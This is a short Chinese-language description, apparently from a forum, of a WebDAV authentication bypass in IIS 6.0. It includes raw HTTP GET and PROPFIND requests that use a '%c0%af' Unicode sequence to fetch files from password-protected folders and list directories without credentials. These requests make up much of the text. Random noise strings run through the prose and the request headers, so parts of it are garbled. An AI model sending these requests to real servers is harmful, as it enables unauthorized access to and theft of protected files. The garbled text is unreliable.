|
漏洞发现者:Nikolaos Rangos5 L" z* g/ H) k4 e4 q
具体漏洞存在于带WebDAV功能的IIS 6.0中, R9 s/ d& t% k& Q1 [
Web服务器没有正确地处理Unicode命令的URI时,解析和发送回的数据.
y, \7 q# g5 p. L5 H假设有一个密码保护文件夹d:\inetpub\wwwroot\protected\ ) H3 b1 x! \; A7 O6 Z
此文件夹内有一个名为 protected.zip "3 K" {5 m: r: j
向服务器发送一个HTTP GET请求
; k. _/ V* |4 C2 f' dGET / %c0%af/protected/protected.zip HTTP/1.1
- `- ~0 O$ W. `# E Translate: f6 I6 r' f: s- I6 _7 g
Connection: close
- Q8 |" ?% ^1 o) l Host: servernameMu
3 m9 f6 Z1 w' W- B5 U# j7 i指示Web服务器处理请求使用 WebDAV的
& {" U: D* ~, G- |. G利用这种恶意的URI构建网络服务器发送文件到' p; h( n1 S; b, t3 `
/protected/ protected.zip ”而不要求进行适当的验证6 \: c! E e( G+ V F0 P3 n
另一个有效的请求可能会传送到Web服务器是: GET /prot%c0%afected/protected.zip HTTP/1.15 u$ v. ~- y# }: i; G
Translate: f ; h/ E8 b$ i* s
Connection: close
) H7 e; @( m! V' \; o5 o1 s Host: servername v7 b& A5 z. @9 z7 x( h
IIS 6.0中将会删除„%c0%af” 的请求,并发送回密码保护文件而不验证. ' s4 S0 I2 E& J
ASP脚本不能下载,除非以这种方式提供服务的脚本源代码是启用的 % v- u/ w' N0 s. v: c& t& W% M
可以绕过访问限制的,密码保护文件夹和列表,下载,上传和修改文件
9 q" }8 K5 K1 n2 w# @' dCopy code PROPFIND /protec%c0%afted/ HTTP/1.1( n) X2 j/ u; _4 t3 w, D
Host: servername
' s1 e4 q8 t4 ^& j! y# T' O User-Agent: neo/0.12.2 , F. \0 G+ g; E* \; p
Connection: TE
& X7 r6 V. e7 Q7 s3 L S: i% ]. e TE: trailers
' k. z, X: ]) N* Z: V Depth: 1 q' H6 y: _, F7 ?+ t& j
Content-Length: 2887 @* g0 ]# n! t+ C- {- d' j
Content-Type: application/xml
& {% G$ m! Z8 {+ K3 y- ` <?xml version="1.0" encoding="utf-8"?>/ d/ W7 C( ?! q
<propfind xmlns="DAV:"><prop>
# t) x$ g( H1 R- N" M <getcontentlength xmlns="DAV:"/>
% \6 x% P( e! d <getlastmodified xmlns="DAV:"/> 2 F, v) e$ J; L
<executable xmlns="http://apache.org/dav/props/"/> 3 F/ V- R* F. Z! m
<resourcetype xmlns="DAV:"/>+ L- ?0 }/ T% q$ C& W5 \
<checked-in xmlns="DAV:"/> : a) }# e1 l$ c9 J g5 u- i
<checked-out xmlns="DAV:"/>
1 I1 L- g; b& N( C </prop></propfind> IIS的回应的目录列表的文件夹中没有要求输入密码
! _2 U v, |4 D/ w4 b& e |